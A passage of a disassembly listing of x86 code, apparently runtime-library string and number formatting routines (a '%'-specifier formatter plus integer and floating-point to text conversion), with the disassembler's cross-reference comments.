loc_4040F2:				; CODE XREF: sub_4040B4+Dj
					; sub_4040B4+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4040B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4040F8	proc near		; CODE XREF: sub_403F5C+2Ap
					; sub_405CE8+Bp ...
		push	edi
		push	eax
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		not	ecx
		pop	edi
		mov	al, dl
		repne scasb
		mov	eax, 0
		jnz	short loc_404116
		mov	eax, edi
		dec	eax


loc_404116:				; CODE XREF: sub_4040F8+19j
		pop	edi
		retn
sub_4040F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_404118	proc near		; CODE XREF: sub_4042BA+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_40412E
		mov	ebx, 1Fh


loc_40412E:				; CODE XREF: sub_404118+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_405C4C
		cmp	al, 1
		jnz	short loc_40413D
		dec	ebx


loc_40413D:				; CODE XREF: sub_404118+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_404070
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, ds:off_4090CC[edi*4]
		xor	ecx, ecx
		call	sub_403F08
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404118	endp


; =============== S U B	R O U T	I N E =======================================



sub_404170	proc near		; CODE XREF: sub_4042BA+1B2p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_40295C
		pop	esi
		pop	ebx
		retn
sub_404170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404184	proc near		; CODE XREF: sub_404190+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4022E4
		pop	ebx
		retn
sub_404184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404190	proc near		; CODE XREF: sub_4045A4+2Ap
					; sub_4045F8+4Ap ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00404594 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF8Ch
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax


loc_4041B9:				; CODE XREF: sub_404190+DDj
		or	edx, edx
		jz	short loc_4041CA


loc_4041BD:				; CODE XREF: sub_404190+38j
		cmp	esi, ecx
		jz	short loc_4041CA
		lodsb
		cmp	al, 25h
		jz	short loc_4041D4


loc_4041C6:				; CODE XREF: sub_404190+4Bj
		stosb
		dec	edx
		jnz	short loc_4041BD


loc_4041CA:				; CODE XREF: sub_404190+2Bj
					; sub_404190+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_404594
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_404190+34j
		cmp	esi, ecx
		jz	short loc_4041CA
		lodsb
		cmp	al, 25h
		jz	short loc_4041C6
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx


loc_4041E3:				; CODE XREF: sub_404190+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_4041EF
		cmp	esi, ecx
		jz	short loc_4041CA
		lodsb


loc_4041EF:				; CODE XREF: sub_404190+58j
		call	sub_404272
		cmp	al, 3Ah
		jnz	short loc_404202
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_4041CA
		lodsb
		jmp	short loc_4041E3
; ---------------------------------------------------------------------------


loc_404202:				; CODE XREF: sub_404190+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_404218
		cmp	esi, ecx
		jz	short loc_4041CA
		lodsb
		call	sub_404272


loc_404218:				; CODE XREF: sub_404190+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_4042BA
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_40422F
		xor	ebx, ebx


loc_40422F:				; CODE XREF: sub_404190+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_40423F
		sub	edx, ecx
		jnb	short loc_40423D
		add	ecx, edx
		xor	edx, edx


loc_40423D:				; CODE XREF: sub_404190+A7j
		rep movsb


loc_40423F:				; CODE XREF: sub_404190+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_404249
		add	ecx, edx
		xor	edx, edx


loc_404249:				; CODE XREF: sub_404190+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_404257
		add	ecx, edx
		xor	edx, edx


loc_404257:				; CODE XREF: sub_404190+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_404269
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_404184
		pop	edx


loc_404269:				; CODE XREF: sub_404190+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_4041B9
sub_404190	endp


; =============== S U B	R O U T	I N E =======================================



sub_404272	proc near		; CODE XREF: sub_404190:loc_4041EFp
					; sub_404190+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_40429A


loc_404278:				; CODE XREF: sub_404272+20j
		cmp	al, 30h
		jb	short locret_4042B9
		cmp	al, 39h
		ja	short locret_4042B9
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_404294
		lodsb
		jmp	short loc_404278
; ---------------------------------------------------------------------------


loc_404294:				; CODE XREF: sub_404272+1Dj
					; sub_404272+44j
		pop	eax
		jmp	loc_4041CA
; ---------------------------------------------------------------------------


loc_40429A:				; CODE XREF: sub_404272+4j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		ja	short loc_4042B4
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_4042B4
		xor	ebx, ebx


loc_4042B4:				; CODE XREF: sub_404272+2Ej
					; sub_404272+3Ej
		cmp	esi, ecx
		jz	short loc_404294
		lodsb

locret_4042B9:				; CODE XREF: sub_404272+8j
					; sub_404272+Cj
		retn
sub_404272	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4042BA	proc near		; CODE XREF: sub_404190+90p

; FUNCTION CHUNK AT 004043E2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00404449 SIZE 0000013B BYTES

		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		ja	short loc_404327
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	off_4042E1[edx*4]
; ---------------------------------------------------------------------------
off_4042E1	dd offset loc_4043E2	; DATA XREF: sub_4042BA+20r
		dd offset loc_404325
		dd offset loc_404449
		dd offset loc_40450F
		dd offset loc_404479
		dd offset loc_4044F1
		dd offset loc_4044D1
		dd offset loc_404325
		dd offset loc_404325
		dd offset loc_404325
		dd offset loc_40448A
		dd offset loc_4044B5
		dd offset loc_40450B
		dd offset loc_404458
		dd offset loc_404325
		dd offset loc_404491
		dd offset loc_40433C
; ---------------------------------------------------------------------------


loc_404325:				; CODE XREF: sub_4042BA+20j
					; sub_4042BA+9Cj ...
		xor	eax, eax


loc_404327:				; CODE XREF: sub_4042BA+Fj
		call	sub_404584
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_404118


loc_40433C:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+67o
		lea	ebx, [ebp-30h]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, [eax+4]
		mov	[ebx+4], edx
		cmp	cl, 44h
		jz	short loc_40435F
		cmp	cl, 55h
		jz	short sub_40437D
		cmp	cl, 58h
		jnz	short loc_404325
		mov	ecx, 10h
		jmp	short loc_404382
; ---------------------------------------------------------------------------


loc_40435F:				; CODE XREF: sub_4042BA+92j
		test	dword ptr [ebx+4], 80000000h
		jz	short sub_40437D
		neg	dword ptr [ebx]
		adc	dword ptr [ebx+4], 0
		neg	dword ptr [ebx+4]
		call	sub_40437D
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_4042BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40437D	proc near		; CODE XREF: sub_4042BA+97j
					; sub_4042BA+ACj ...
		mov	ecx, 0Ah


loc_404382:				; CODE XREF: sub_4042BA+A3j
		lea	esi, [ebp-51h]


loc_404385:				; CODE XREF: sub_40437D+46j
		push	ebx
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		mov	ebx, [ebp-4]
		call	sub_4029E4
		pop	ecx
		pop	ebx
		xchg	eax, edx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_4043A5
		add	dl, 7


loc_4043A5:				; CODE XREF: sub_40437D+23j
		dec	esi
		mov	[esi], dl
		push	ebx
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		mov	ebx, [ebp-4]
		call	sub_402998
		pop	ecx
		pop	ebx
		mov	[ebx], eax
		mov	[ebx+4], edx
		or	eax, edx
		jnz	short loc_404385
		lea	ecx, [ebp-51h]
		sub	ecx, esi
		mov	edx, [ebp-24h]
		cmp	edx, 10h
		jbe	short loc_4043D3
		retn
; ---------------------------------------------------------------------------


loc_4043D3:				; CODE XREF: sub_40437D+53j
		sub	edx, ecx
		jbe	short locret_4043E1
		add	ecx, edx
		mov	al, 30h


loc_4043DB:				; CODE XREF: sub_40437D+62j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_4043DB

locret_4043E1:				; CODE XREF: sub_40437D+58j
		retn
sub_40437D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4042BA


loc_4043E2:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA:off_4042E1o
		cmp	cl, 44h
		jz	short loc_4043FC
		cmp	cl, 55h
		jz	short sub_40440E
		cmp	cl, 58h
		jnz	loc_404325
		mov	ecx, 10h
		jmp	short loc_404413
; ---------------------------------------------------------------------------


loc_4043FC:				; CODE XREF: sub_4042BA+12Bj
		or	eax, eax
		jns	short sub_40440E
		neg	eax
		call	sub_40440E
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
; END OF FUNCTION CHUNK	FOR sub_4042BA

; =============== S U B	R O U T	I N E =======================================



sub_40440E	proc near		; CODE XREF: sub_4042BA+130j
					; sub_4042BA+144j ...
		mov	ecx, 0Ah


loc_404413:				; CODE XREF: sub_4042BA+140j
					; sub_4042BA+24Cj
		lea	esi, [ebp-61h]


loc_404416:				; CODE XREF: sub_40440E+1Cj
		xor	edx, edx
		div	ecx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_404425
		add	dl, 7


loc_404425:				; CODE XREF: sub_40440E+12j
		dec	esi
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_404416
		lea	ecx, [ebp-61h]
		sub	ecx, esi
		mov	edx, [ebp-24h]
		cmp	edx, 10h
		jbe	short loc_40443A
		retn
; ---------------------------------------------------------------------------


loc_40443A:				; CODE XREF: sub_40440E+29j
		sub	edx, ecx
		jbe	short locret_404448
		add	ecx, edx
		mov	al, 30h


loc_404442:				; CODE XREF: sub_40440E+38j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_404442

locret_404448:				; CODE XREF: sub_40440E+2Ej
		retn
sub_40440E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4042BA


loc_404449:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+2Fo
		cmp	cl, 53h
		jnz	loc_404325
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------


loc_404458:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+5Bo
		cmp	cl, 53h
		jnz	loc_404325
		cmp	word ptr [eax],	1
		jbe	short loc_404476
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_404170
		mov	esi, [ebp-10h]
		jmp	short loc_4044C0
; ---------------------------------------------------------------------------


loc_404476:				; CODE XREF: sub_4042BA+1ABj
					; sub_4042BA+208j
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------


loc_404479:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+37o
		cmp	cl, 53h
		jnz	loc_404325
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_4044C7
; ---------------------------------------------------------------------------


loc_40448A:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+4Fo
		mov	esi, offset loc_4024E8
		jmp	short loc_404496
; ---------------------------------------------------------------------------


loc_404491:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+63o
		mov	esi, offset loc_402548


loc_404496:				; CODE XREF: sub_4042BA+1D5j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_404325
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_4044C0
; ---------------------------------------------------------------------------


loc_4044B5:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+53o
		cmp	cl, 53h
		jnz	loc_404325
		mov	esi, eax


loc_4044C0:				; CODE XREF: sub_4042BA+1BAj
					; sub_4042BA+1F9j
		or	esi, esi
		jz	short loc_404476
		mov	ecx, [esi-4]


loc_4044C7:				; CODE XREF: sub_4042BA+1CEj
		cmp	ecx, [ebp-24h]
		ja	short loc_4044CD
		retn
; ---------------------------------------------------------------------------


loc_4044CD:				; CODE XREF: sub_4042BA+210j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------


loc_4044D1:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+3Fo
		cmp	cl, 53h
		jnz	loc_404325
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_4044EB
		repne scasb
		jnz	short loc_4044EB
		dec	edi


loc_4044EB:				; CODE XREF: sub_4042BA+22Aj
					; sub_4042BA+22Ej
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4044F1:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+3Bo
		cmp	cl, 50h
		jnz	loc_404325
		mov	dword ptr [ebp-24h], 8
		mov	ecx, 10h
		jmp	loc_404413
; ---------------------------------------------------------------------------


loc_40450B:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+57o
		mov	bh, 1
		jmp	short loc_404511
; ---------------------------------------------------------------------------


loc_40450F:				; CODE XREF: sub_4042BA+20j
					; DATA XREF: sub_4042BA+33o
		mov	bh, 0


loc_404511:				; CODE XREF: sub_4042BA+253j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_404559
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_404559
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_40453A
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_40453A
		cmp	cl, 4Dh
		jnz	loc_404325
		mov	bl, 4


loc_40453A:				; CODE XREF: sub_4042BA+26Cj
					; sub_4042BA+273j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_40456B
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_40456B
		movzx	edx, ds:byte_40A4E8
		jmp	short loc_40456B
; ---------------------------------------------------------------------------


loc_404559:				; CODE XREF: sub_4042BA+25Ej
					; sub_4042BA+265j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_40456B
		mov	eax, 0Fh


loc_40456B:				; CODE XREF: sub_4042BA+28Aj
					; sub_4042BA+294j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-71h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_4046FC
		mov	ecx, eax
		lea	esi, [ebp-71h]
		retn
; END OF FUNCTION CHUNK	FOR sub_4042BA

; =============== S U B	R O U T	I N E =======================================



sub_404584	proc near		; CODE XREF: sub_4042BA:loc_404327p
					; sub_404190:loc_404594p
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_4022E4
		pop	eax
		pop	ebx
		retn
sub_404584	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404190


loc_404594:				; CODE XREF: sub_404190+3Fj
		call	sub_404584
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_404190
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045A4	proc near		; CODE XREF: CODE:004052D5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4045DB
		test	esi, esi
		jz	short loc_4045DB
		mov	eax, esi
		call	sub_404058
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_404190
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045DB:				; CODE XREF: sub_4045A4+Ej
					; sub_4045A4+12j
		xor	eax, eax


loc_4045DD:				; CODE XREF: sub_4045A4+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_4045A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045E4	proc near		; CODE XREF: sub_4053E8+34p
					; sub_4054A4+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_4045F8
		pop	ebp
		retn	4
sub_4045E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045F8	proc near		; CODE XREF: sub_4045E4+Ap

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, 1000h
		mov	eax, [ebp+var_4]
		call	sub_40255C
		cmp	eax, 0C00h
		jge	short loc_404649
		mov	eax, [ebp+var_4]
		call	sub_40255C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_1008]
		mov	edx, 0FFFh
		call	sub_404190
		jmp	short loc_404655
; ---------------------------------------------------------------------------


loc_404649:				; CODE XREF: sub_4045F8+29j
		mov	eax, [ebp+var_4]
		call	sub_40255C
		mov	ebx, eax
		mov	eax, ebx


loc_404655:				; CODE XREF: sub_4045F8+4Fj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jl	short loc_40469F
		jmp	short loc_40468E
; ---------------------------------------------------------------------------


loc_40465E:				; CODE XREF: sub_4045F8+9Bj
		add	ebx, ebx
		mov	eax, esi
		call	sub_4022E4
		mov	eax, esi
		mov	edx, ebx
		call	sub_402774
		mov	eax, [ebp+var_4]
		call	sub_40255C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [esi]
		call	sub_404190


loc_40468E:				; CODE XREF: sub_4045F8+64j
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jge	short loc_40465E
		mov	edx, esi
		xchg	eax, edx
		call	sub_402774
		jmp	short loc_4046AD
; ---------------------------------------------------------------------------


loc_40469F:				; CODE XREF: sub_4045F8+62j
		lea	edx, [ebp+var_1008]
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_4023D0


loc_4046AD:				; CODE XREF: sub_4045F8+A5j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4045F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4046B8	proc near		; CODE XREF: CODE:00404894p
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_4046C4
		xor	edx, edx
		jmp	short loc_4046CE
; ---------------------------------------------------------------------------


loc_4046C4:				; CODE XREF: sub_4046B8+6j
		or	edx, edx
		jge	short loc_4046CE
		mov	al, 2Dh
		neg	edx
		jmp	short loc_4046D4
; ---------------------------------------------------------------------------


loc_4046CE:				; CODE XREF: sub_4046B8+Aj
					; sub_4046B8+Ej
		or	ah, ah
		jz	short loc_4046D5
		mov	al, ah


loc_4046D4:				; CODE XREF: sub_4046B8+14j
		stosb


loc_4046D5:				; CODE XREF: sub_4046B8+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp


loc_4046D9:				; CODE XREF: sub_4046B8+32j
					; sub_4046B8+36j
		xor	edx, edx
		div	ds:dword_4090E0[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_4046D9
		or	ecx, ecx
		jg	short loc_4046D9


loc_4046F0:				; CODE XREF: sub_4046B8+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_4046F0
		pop	eax
		pop	esi
		retn
sub_4046B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046FC	proc near		; CODE XREF: sub_4042BA+2BFp

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 004049CB SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_40A4E7
		mov	[ebp+var_5], al
		mov	al, ds:byte_40A4E6
		mov	[ebp+var_6], al
		mov	eax, ds:dword_40A4E0
		mov	[ebp+var_C], eax
		mov	al, ds:byte_40A4E4
		mov	[ebp+var_D], al
		mov	al, ds:byte_40A4E5
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_404758
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_40474E
		mov	eax, 2


loc_40474E:				; CODE XREF: sub_4046FC+4Bj
		cmp	eax, 12h
		jle	short loc_404758
		mov	eax, 12h


loc_404758:				; CODE XREF: sub_4046FC+43j
					; sub_4046FC+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_40476A
		mov	eax, [ebp+arg_0]


loc_40476A:				; CODE XREF: sub_4046FC+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_4049D4
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_40479E
		mov	ecx, eax
		call	sub_4047FB
		lea	esi, (loc_4047EB+1)[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_4047CB
; ---------------------------------------------------------------------------


loc_40479E:				; CODE XREF: sub_4046FC+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_4047BA
		cmp	bl, 4
		ja	short loc_4047B8
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_4047BA


loc_4047B8:				; CODE XREF: sub_4046FC+B1j
		mov	bl, 0


loc_4047BA:				; CODE XREF: sub_4046FC+ACj
					; sub_4046FC+BAj
		lea	ebx, ds:4047D8h[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx


loc_4047CB:				; CODE XREF: sub_4046FC+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_4049CB
sub_4046FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	eax, 63004048h
		dec	eax
		inc	eax
		add	[edx-65FFBFB8h], bl
		dec	eax
		inc	eax
		add	[ecx+ecx*2], al
		inc	eax


loc_4047EB:				; DATA XREF: sub_4046FC+8Fr
		add	[ecx+4Eh], cl
		inc	esi
		dec	esi
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_4047F2	proc near		; CODE XREF: CODE:00404868p
					; CODE:loc_404876p ...
		lodsb
		or	al, al
		jnz	short locret_4047FA
		mov	al, 30h
		dec	esi

locret_4047FA:				; CODE XREF: sub_4047F2+3j
		retn
sub_4047F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FB	proc near		; CODE XREF: sub_4046FC+8Ap
					; CODE:00404805p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_404804
		mov	al, 2Dh
		stosb

locret_404804:				; CODE XREF: sub_4047FB+4j
		retn
sub_4047FB	endp

; ---------------------------------------------------------------------------
		call	sub_4047FB
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_404832
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_404832
		or	ecx, ecx
		jg	short loc_404838
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_404862
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_40484C
; ---------------------------------------------------------------------------


loc_404832:				; CODE XREF: CODE:00404813j
					; CODE:00404818j
		mov	ecx, 1
		inc	edx


loc_404838:				; CODE XREF: CODE:0040481Cj
					; CODE:0040483Ej
		lodsb
		or	al, al
		jz	short loc_404854
		stosb
		loop	loc_404838
		lodsb
		or	al, al
		jz	short loc_404858
		mov	ah, al
		mov	al, [ebp-5]
		stosw


loc_40484C:				; CODE XREF: CODE:00404830j
					; CODE:00404852j
		lodsb
		or	al, al
		jz	short loc_404858
		stosb
		jmp	short loc_40484C
; ---------------------------------------------------------------------------


loc_404854:				; CODE XREF: CODE:0040483Bj
		mov	al, 30h
		rep stosb


loc_404858:				; CODE XREF: CODE:00404843j
					; CODE:0040484Fj
		or	edx, edx
		jz	short locret_404862
		xor	eax, eax
		xor	ecx, ecx
		jmp	short loc_40488A
; ---------------------------------------------------------------------------

locret_404862:				; CODE XREF: CODE:00404824j
					; CODE:0040485Aj
		retn
; ---------------------------------------------------------------------------
		call	sub_4047FB
		call	sub_4047F2
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx


loc_404876:				; CODE XREF: CODE:0040487Cj
		call	sub_4047F2
		stosb
		loop	loc_404876
		mov	ah, 2Bh
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jb	short loc_40488A
		xor	ecx, ecx


loc_40488A:				; CODE XREF: CODE:00404860j
					; CODE:00404886j
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_4046B8
		retn
; ---------------------------------------------------------------------------
		call	sub_4047FB

; =============== S U B	R O U T	I N E =======================================



sub_40489F	proc near		; CODE XREF: CODE:loc_40494Dp
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_4048AC
		mov	edx, 12h


loc_4048AC:				; CODE XREF: sub_40489F+6j
